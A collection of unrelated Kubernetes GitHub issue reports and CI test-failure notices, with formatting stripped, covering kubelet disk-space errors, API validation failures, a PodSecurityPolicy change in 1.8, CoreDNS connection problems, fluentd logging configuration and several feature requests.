<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  disk space, cadvisor\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+5802799\ , gitcommit:\ 5802799e56c7fcd1638e5848a13c5f3b0b1479ab\ , gittreestate:\ not a git tree\ , builddate:\ 2017-02-18t00:31:14z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+5802799\ , gitcommit:\ 5802799e56c7fcd1638e5848a13c5f3b0b1479ab\ , gittreestate:\ not a git tree\ , builddate:\ 2017-02-18t00:31:14z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : arch linux\r -   kernel    e.g.  uname -a  :  linux host 4.9.8-1-arch  1 smp preempt mon feb 6 12:59:40 cet 2017 x86_64 gnu/linux \r -   install tools  : built package based on modified  aur pkgbuild  https://aur.archlinux.org/packages/kubernetes/   changed to version  1.6.0-alpha.3  \r -   others  : followed the  from scratch guide  https://kubernetes.io/docs/getting-started-guides/scratch/  as close as possible to get set up.\r \r \r   what happened  :\r \r when starting  kubelet , it fails to move from  notready  to  ready . logs show this sequence repeating indefinitely:\r \r    \r failed to check if disk space is available for the runtime: failed to get fs info for \ runtime\ : unable to find data for container /\r feb 17 22:27:46 host kubelet 3753 : e0217 22:27:46.372891    3753 kubelet.go:1622  failed to check if disk space is available on the root partition: failed to get fs info for \ root\ : error trying to get filesystem device for di\r r /var/lib/kubelet: err: could not find device with major: 0, minor: 20 in cached partitions map\r feb 17 22:27:50 host kubelet 3753 : i0217 22:27:50.624819    3753 kubelet.go:1705  skipping pod synchronization -  container runtime is down \r feb 17 22:27:50 host kubelet 3753 : e0217 22:27:50.763895    3753 kubelet.go:2011  container runtime status is nil\r feb 17 22:27:55 host kubelet 3753 : i0217 22:27:55.625051    3753 kubelet.go:1705  skipping pod synchronization -  container runtime is down \r feb 17 22:27:55 host kubelet 3753 : e0217 22:27:55.765642    3753 kubelet.go:2011  container runtime status is nil\r    \r \r \r   what you expected to happen  :\r \r kubelet to start without issues.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r i'm not sure what exactly is wrong so it's hard to say. it appears the cadvisor api isn't returning things correctly for some reason? when i try to run the cadvisor binary directly, for some reason it starts attempting to run  zfs  commands  i have zfs filesystems on my system  despite cadvisor not being run as root. i suspect that since the filesystems mounted to  /var/lib/kubelet  and  /  are both btrfs that cadvisor is trying to run  btrfs fi show  or something silly like that as well.\r \r   anything else we need to know  :\r \r i understand the reasoning behind  kubelet  failing when it can't assess free disk space but there should be intelligent fallbacks  like the standard  df   when cadvisor fails. i'm also curious why  cadvisor  is being used at all given that it seems to be intended for containers and  kubelet  doesn't seem to be intended to run inside them.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/401/ failed:  k8s.io  garbagecollect  serial  garbage collection test: one non-restarting container should eventually garbage collect containers when we exceed the number of dead containers per container {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:255 wait for pod \ gc-test-pod-one-container-no-restarts\  to disappear expected success, but got an error:     < errors.errorstring | 0xc42015e8a0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:146

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  : when i did kubectl create -f  cronjob.yaml i got following message\r \r error: error validating \ cronjob.yaml\ : error validating data: the server could not find the requested resource; if you choose to ignore these errors, turn validation off with --validate=false\r \r \r   what you expected to happen  : creating of cron job\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am using yaml from kube docs, namely this one:\r \r apiversion: batch/v2alpha1\r kind: cronjob\r metadata:\r   name: hello\r spec:\r   schedule: \  /1        \ \r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: hello\r             image: busybox\r             args:\r             - /bin/sh\r             - -c\r             - date; echo hello from the kubernetes cluster\r           restartpolicy: onfailure\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux ip-10-1-0-140.us-west-2.compute.internal 3.10.0-514.26.1.el7.x86_64  1 smp thu jun 29 16:05:25 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kops\r \r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r according to the  documentation for scheduling preemption  https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/  two changes are required to enable it:\r \r   add  --feature-gates=podpriority=true  to apiserver and scheduler.\r   add  --runtime-config=scheduling.k8s.io/v1alpha1=true  to apiserver.\r \r so i modified the apiserver manifest:\r \r    \r     - --runtime-config=scheduling.k8s.io/v1alpha1=true\r     - --feature-gates=podpriority=true\r    \r \r and the scheduler manifest:\r \r    \r     - --feature-gates=podpriority=true\r    \r \r  ps  confirms that both are running with the required changes.\r \r however, i cannot create podpriorities by following the example in the documentation:\r \r    \r  root@master-head-1 ~   cat >example.yaml\r apiversion: v1\r kind: priorityclass\r metadata:\r   name: high-priority\r value: 1000000\r globaldefault: false\r description: \ this  should be used for xyz service pods only.\ \r  root@master-head-1 ~   kubectl apply -f example.yaml \r error: error validating \ example.yaml\ : error validating data: unknown object type schema.groupversionkind{group:\ \ , version:\ v1\ , kind:\ priorityclass\ }; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r  kubectl explain  also doesn't think the api is enabled:\r \r    \r  root@master-head-1 ~   kubectl explain priorityclass\r error: api version: scheduling.k8s.io/v1alpha1 is not supported by the server. use one of:  apiregistration.k8s.io/v1beta1 extensions/v1beta1 apps/v1beta1 apps/v1beta2 authentication.k8s.io/v1 authentication.k8s.io/v1beta1 authorization.k8s.io/v1 authorization.k8s.io/v1beta1 autoscaling/v1 autoscaling/v2beta1 batch/v1 batch/v1beta1 certificates.k8s.io/v1beta1 networking.k8s.io/v1 policy/v1beta1 rbac.authorization.k8s.io/v1 rbac.authorization.k8s.io/v1beta1 storage.k8s.io/v1 storage.k8s.io/v1beta1 apiextensions.k8s.io/v1beta1 crd.projectcalico.org/v1 v1 \r    \r \r the only relevant message in the apiserver log is:\r \r    \r i1003 15:06:43.611520       1 aggregator.go:138  skipping apiservice creation for scheduling.k8s.io/v1alpha1\r    \r \r   what you expected to happen  :\r \r i expected to be able to create pod by following the example in the documentation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see description.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : centos linux 7.4  1708 \r - kernel  e.g.  uname -a  : linux master-head-1 4.13.4-1.el7.elrepo.x86_64  1 smp wed sep 27 13:32:23 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: custom scripts\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i upgraded a cluster to 1.8 and ran into an issue with pods that use  privileged: true  and don't set  allowprivilegeescalation: true . \r \r the psp i had created and been using prior to 1.8:\r    \r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: privileged\r spec:\r   privileged: true\r   hostnetwork: true\r   hostpid: true\r   hostipc: true\r   hostports:\r   - min: 1\r     max: 32000\r   fsgroup:\r     rule: runasany\r   runasuser:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   - ' '\r    \r \r the error i got when applying an update to the canal daemonset:\r \r    \r   warning  failedcreate  10m                 daemon-set  error creating: pod \ canal-z8dmj\  is invalid:  spec.containers 0 .securitycontext: invalid value: api.securitycontext{capabilities:  api.capabilities  nil , privileged:  bool  0xc424f9c2c0 , selinuxoptions:  api.selinuxoptions  nil , runasuser:  int64  nil , runasnonroot:  bool  nil , readonlyrootfilesystem:  bool  nil , allowprivilegeescalation:  bool  0xc427e10c38 }: cannot set  allowprivilegeescalation  to false and  privileged  to true, spec.containers 2 .securitycontext: invalid value: api.securitycontext{capabilities:  api.capabilities  nil , privileged:  bool  0xc424f9c2ca , selinuxoptions:  api.selinuxoptions  nil , runasuser:  int64  nil , runasnonroot:  bool  nil , readonlyrootfilesystem:  bool  nil , allowprivilegeescalation:  bool  0xc427e10c38 }: cannot set  allowprivilegeescalation  to false and  privileged  to true \r    \r \r   what you expected to happen  :\r \r i expect the pod to be valid since it was not noted as a breaking change in the release notes for 1.8.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r using the psp above, attempt to create a pod with  privileged: true  and no value for  allowprivilegeescalation . \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r cc @liggitt @tallclair @jessfraz

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r for certain types of devices, it is desirable to make sure an allocate device plugin grpc call is issued before starting a container. currently, this is not guaranteed when containers are restarted. for more details, see discussions in issue https://github.com/kubernetes/kubernetes/issues/56022 and pr https://github.com/kubernetes/kubernetes/pull/56818\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r i just noticed that the sample apiserver is cheating wrt authentication and authorization.  its  apiservice  object's spec includes  insecureskiptlsverify: true , which is not recommended.\r \r   what you expected to happen  :\r i expected the sample to be more exemplary.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

there is no system component today that allows easy mock / development testing with pvs.  we should add emptydir as a valid source type to pv struct, and document it can be used for local testing.  it should be possible in the future for admins to configure some namespaces / app types to be automatically given empty dir to facilitate simple iteration.

problem:  currently all logs logged with fluentd are saved to elasticsearch under one type, which could cause problems if multiple containers are logging json output with same attributes. fluentd logging should have distinct type names based on namespace name and container name    possible solution:  we fixed this by using elasticsearch_dynamic plugin type: https://github.com/uken/fluent-plugin-elasticsearch dynamic-configuration which allows you to set dynamic type based on logged data.  this is snippet of configuration we use:              <source>           type tail           path /var/log/containers/ .log           pos_file /var/log/es-containers.log.pos           time_format %y-%m-%dt%h:%m:%s           tag kubernetes.            format json           read_from_head true         </source>          <filter kubernetes.  >           type kubernetes_metadata         </filter>          <match kubernetes.  >           type elasticsearch_dynamic           log_level info           include_tag_key true           host elasticsearch.default.cloud.gatehub.net           port 9200           logstash_format true           flush_interval 5s             never wait longer than 5 minutes between retries.           max_retry_wait 300             disable the limit on the number of retries  retry forever .           disable_retry_limit             set type name dynamically           type_name ''${record 'kubernetes'  'namespace_name' }-''${record 'kubernetes'  'container_name' }         </match>

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/1616/ failed:  k8s.io  container lifecycle hook when create a pod with lifecycle hook when it is exec hook should execute prestop exec hook properly  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/lifecycle_hook_test.go:107 wait for pod \ pod-with-prestop-exec-hook\  to disappear expected success, but got an error:     < errors.errorstring | 0xc4200e86e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:122

  \r the bootstrap policy only references replicaset and daemonset permissions in the extensions api group

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r   what happened  :\r controller manager support autoscaling based on customer metrics now, and the controller manger has a parameter named as  --horizontal-pod-autoscaler-tolerance  which is used to define the minimum change in the desired-to-actual metrics ratio for the horizontal pod autoscaler to consider scaling with a default value as 0.1.\r \r the problem is that with customized metrics auto scaling, the end user want to make the value of  --horizontal-pod-autoscaler-tolerance  to be fine-grained, such as define it based on application level but not cluster level, this can give the customer more options for auto scaling with different applications.\r \r  /area controller-manager\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r  \r  /assign @krmayankk\r \r   what happened  :\r i use kubeadm 1.11.2 to install k8s successfully. network choose flannel. every pod is normal. \r but if use domain, such as  node host name  ,  kubernetes.default  and so on. core dns can not return it's ip.\r \r dns pods:\r     root@k8s-master app   kubectl get po -n kube-system\r name                                   ready     status    restarts   age\r coredns-78fcdf6894-244mp               1/1       running   2          30d\r coredns-78fcdf6894-4twnh               1/1       running   2          30d\r    \r \r use dns resolve kubernetes.default:\r    \r  root@k8s-master app   kubectl exec -it coredns-78fcdf6894-244mp /bin/sh  -n kube-system                         \r /   nslookup kubernetes.default 127.0.0.1\r server:         127.0.0.1\r address:        127.0.0.1 53\r \r    server can't find kubernetes.default: nxdomain\r    \r \r pod logs:\r    \r e0830 12:42:19.231576       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:313: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0830 12:42:19.232666       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:320: failed to list  v1.namespace: get https://10.96.0.1:443/api/v1/namespaces?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0830 12:42:20.231002       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:315: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0830 12:42:20.232005       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:313: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0830 12:42:20.232975       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:320: failed to list  v1.namespace: get https://10.96.0.1:443/api/v1/namespaces?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0830 12:42:21.231424       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:315: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0830 12:42:21.232320       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:313: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r e0830 12:42:21.233379       1 reflector.go:205  github.com/coredns/coredns/plugin/kubernetes/controller.go:320: failed to list  v1.namespace: get https://10.96.0.1:443/api/v1/namespaces?limit=500&resourceversion=0: dial tcp 10.96.0.1:443: connect: connection refused\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubeadm command install always reproduce:\r    \r kubeadm init --apiserver-advertise-address=xxxxx --pod-network-cidr=10.244.0.0/16 --kubernetes-version=v1.11.2\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  root@k8s-master app   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r    \r  root@k8s-master app   uname -a\r linux k8s-master 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:kubeadm 1.11.2\r - others:\r

what would you like to be added  :\r \r e2e test suites for:\r - get /apis/apps/v1/namespaces/{namespace}/statefulsets/{name}/scale\r - put /apis/apps/v1/namespaces/{namespace}/statefulsets/{name}/scale\r \r   why is this needed  :\r pr 53679 has already been merged, but the following tests are still commented out.\r therefore, scale sub-resource of statefulsets is not tested and test should be added.\r \r test/e2e/apps/statefulset.go\r    \r /  comment it for now until scale sub-resource is finalized in ref:pull/53679 for scale-sub resource specific comment. \r it \ should have a working scale subresource\ , func   { \r    \r \r 

i use hack/local-cluster-up.sh to start a local cluster. then i run example/k8pestore/k8petstore.sh, which starts several pods and pull images. then docker complains \ authentication is required\  and fails to pull the images. furthermore, i cannot manually pull a docker image on the local machine. the docker on my local machine was v1.5.0. after i updated docker to v1.6.2, i can pull images manually, but k8s still cannot pull images due to the same \ authentication is required\  problem.  @dchen1107   here is the kubelet.log:  http://paste.ubuntu.com/11704524/

in  12540, docker event stream was proposed as part of the pod lifecycle event generator  pleg  to reduce number of docker operations.  however, even without adopting the docker event stream, we can still implement a pleg solely by periodically relisting the containers. the generic pleg in  13571 is an example.  this would still improve the average resource usage of kubelet and docker because only one goroutine queries docker at a higher frequency  as opposed to all pod workers . the drawback, on the other hand, is that kubelet's reaction time to container events would be equal or greater than the relist period. we should try to understand the limit of pure relisting by running some micro-benchmark using docker, so that we know how much benefits the container event stream can bring us.  metrics: - latency - cpu usage percentiles  parameters to vary: - op: list, inspect - period - number of containers - gce machine size  the next step would be benchmarking the docker event stream.  /cc @kubernetes/goog-node

thanks @uluyol for making this happen.  however, pushing image to private repository is a bit boring as one needs to find registry pod, port-forward, tag, push.  it seems we can simplify the process by just using  kubectl push image .   but: - registry addon is just an \ addon\ , do we want to support that? or do we have extension module for kubectl? -  kubectl push  will transform image to localhost, e.g. if i do  kubectl push ubuntu , i have to use  localhost:5000/ubuntu  to access the image.  i don't know if this makes sense for user.  we might do better if https://github.com/kubernetes/kubernetes/pull/11599 works.

https://github.com/kubernetes/kubernetes/blob/f5ea4f4671ae45f26537835f7ec8b4cdd1c0ea46/pkg/apiserver/resthandler.go l150  started returning an error for get endpoints that had  ?export=1  passed but didn't implement export.  that's not backwards compatible for callers that don't implement export  previously we ignored that request parameter  - it's probably better not to do the check.  clients that really care can use swagger.

after installing docker is just working fine and hello-world image runs ok as well. but when i tried to set up a separate “bootstrap” instance of the docker daemon the hello-world procedure went wrong.  i am trying to set up k8s cluster environment bug got stuck on the first step. i referred to the tutorial in  installing a kubernetes master node via docker  http://kubernetes.io/docs/getting-started-guides/docker-multinode/master/ .   here is the first shell script:      sudo sh -c 'docker daemon -h unix:///var/run/docker-bootstrap.sock -p /var/run/docker-bootstrap.pid --iptables=false --ip-masq=false --bridge=none --graph=/var/lib/docker-bootstrap 2> /var/log/docker-bootstrap.log 1> /dev/null &'      after this i tried to run hello-world again with the following command:       worker@103-32-121-sh-100-l09 ~ $ sudo docker -h unix:///var/run/docker-bootstrap.sock run hello-world      and here is the error:      docker: error response from daemon: rpc error: code = 2 desc = \ oci runtime error: rootfs  \\\ /var/lib/docker-bootstrap-new/devicemapper/mnt/feb2d63cb4d1119cf85c7b140acf344ff14f48ea1ab33732aa752b58d005c130/rootfs\\\   does not exist\ .      and here is the daemon startup log:       worker@103-32-121-sh-100-l09 ~ $ cat /var/log/docker-bootstrap.log  time=\ 2016-05-17t16:54:09.166770136+08:00\  level=info msg=\ previous instance of containerd still alive  25485 \   time=\ 2016-05-17t16:54:09.211061699+08:00\  level=warning msg=\ devmapper: usage of loopback devices is strongly discouraged for production use. please use  --storage-opt dm.thinpooldev  or use  man docker  to refer to dm.thinpooldev section.\   time=\ 2016-05-17t16:54:09.249240707+08:00\  level=info msg=\ devmapper: creating filesystem xfs on device docker-8:2-941302080-base\   time=\ 2016-05-17t16:54:09.412389141+08:00\  level=info msg=\ devmapper: successfully created filesystem xfs on device docker-8:2-941302080-base\   time=\ 2016-05-17t16:54:09.443867451+08:00\  level=info msg=\ graph migration to content-addressability took 0.00 seconds\   time=\ 2016-05-17t16:54:09.452249581+08:00\  level=info msg=\ firewalld running: false\   time=\ 2016-05-17t16:54:09.479355218+08:00\  level=warning msg=\ mountpoint for pids not found\   time=\ 2016-05-17t16:54:09.479821075+08:00\  level=info msg=\ loading containers: start.\   time=\ 2016-05-17t16:54:09.479888418+08:00\  level=info msg=\ loading containers: done.\   time=\ 2016-05-17t16:54:09.479905263+08:00\  level=info msg=\ daemon has completed initialization\   time=\ 2016-05-17t16:54:09.479923187+08:00\  level=info msg=\ docker daemon\  commit=5604cbe graphdriver=devicemapper version=1.11.1  time=\ 2016-05-17t16:54:09.536976600+08:00\  level=info msg=\ api listen on /var/run/docker-bootstrap.sock\        as you can see there are two warnings there.  output of  docker version       client:  version:      1.11.1  api version:  1.23  go version:   go1.5.4  git commit:   5604cbe  built:        wed apr 27 00:34:42 2016  os/arch:      linux/amd64  server:  version:      1.11.1  api version:  1.23  go version:   go1.5.4  git commit:   5604cbe  built:        wed apr 27 00:34:42 2016  os/arch:      linux/amd64      output of  docker info       containers: 3  running: 0  paused: 0  stopped: 3 images: 1 server version: 1.11.1 storage driver: devicemapper  pool name: docker-8:2-1611963456-pool  pool blocksize: 65.54 kb  base device size: 10.74 gb  backing filesystem: xfs  data file: /dev/loop2  metadata file: /dev/loop3  data space used: 32.24 mb  data space total: 107.4 gb  data space available: 107.3 gb  metadata space used: 614.4 kb  metadata space total: 2.147 gb  metadata space available: 2.147 gb  udev sync supported: true  deferred removal enabled: false  deferred deletion enabled: false  deferred deleted device count: 0  data loop file: /var/lib/docker/devicemapper/devicemapper/data  warning: usage of loopback devices is strongly discouraged for production use. either use  --storage-opt dm.thinpooldev  or use  --storage-opt dm.no_warn_on_loop_devices=true  to suppress this warning.  metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata  library version: 1.02.107-rhel7  2015-12-01  logging driver: json-file cgroup driver: cgroupfs plugins:   volume: local  network: bridge null host kernel version: 3.10.0-327.10.1.el7.x86_64 operating system: centos linux 7  core  ostype: linux architecture: x86_64 cpus: 16 total memory: 125.6 gib name: 103-32-121-sh-100-l09.yidian.com id: qgsk:z3id:lbxx:v267:wrem:eenp:fhdg:qfmn:5ojz:hzdx:invq:twbu docker root dir: /var/lib/docker debug mode  client : false debug mode  server : false registry: https://index.docker.io/v1/ warning: bridge-nf-call-iptables is disabled warning: bridge-nf-call-ip6tables is disabled

kubenetes version 1.4.  replication controller yaml contains:      spec:    nodeselector:       foo: bar    containers:      kubectl create -f above file.  realize you've forgotten to label nodes or have a typeo, do:      kubectl label nodes <nodename> foo=bar        expected  : rc to notice newly matching nodes and proceed.     what happened  : rc did not proceed.    work around  : kubectl delete -f above file and create again, proceeds immediately.

right now admin cannot modify the startup flags used by  federation-apiserver  and  federation-controller-manager  while bringing them up using  kubefed init .\r \r we need to allow admins to do that.\r \r cc @kubernetes/sig-federation-feature-requests @madhusudancs @irfanurrehman

we currently have the following liveness probe for etcd:\r \r    \r \ livenessprobe\ : {\r       \ httpget\ : {\r         \ host\ : \ 127.0.0.1\ ,\r         \ port\ : {{ port }},\r         \ path\ : \ /health\ \r       },\r       \ initialdelayseconds\ : 15,\r       \ timeoutseconds\ : 15\r     },\r    \r \r https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/etcd/etcd.manifest l67-l68\r \r 15 seconds  or is it 30?  for an upgrade of etcd seems very optimistic, particularly as we go through a few versions along the way.  on a brand new, empty etcd cluster it took 7 seconds.\r \r i'm guessing that the time taken is proportional to the amount of data in etcd.  what is the biggest etcd cluster we have tested and did the liveness probe trigger - and if so, what happened? :- \r \r afaict, the liveness probe times have not been updated after we added  migrate-if-needed.sh .

currently it is possible to  get  a specific  resource.group  and have the  notfound  response point to a different group:\r \r    \r $ oc get deployments.apps foo --loglevel=6\r ...\r get https://10.13.129.233:8443/apis/apps/v1beta1/namespaces/default/deployments/foo 404 not found in 56 milliseconds\r i0714 15:41:43.563012   18990 helpers.go:205  server response object:  {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ deployments.extensions \\\ foo\\\  not found\ ,\r   \ reason\ : \ notfound\ ,\r   \ details\ : {\r     \ name\ : \ foo\ ,\r     \ group\ : \ extensions\ ,\r     \ kind\ : \ deployments\ \r   },\r   \ code\ : 404\r } \r f0714 15:41:43.563052   18990 helpers.go:119  error from server  notfound : deployments.extensions \ foo\  not found\r    \r \r this is because  registry.store  uses the  qualifiedresource 's group information in  notfound  errors instead of the current endpoint's group information.\r \r @kubernetes/sig-api-machinery-misc

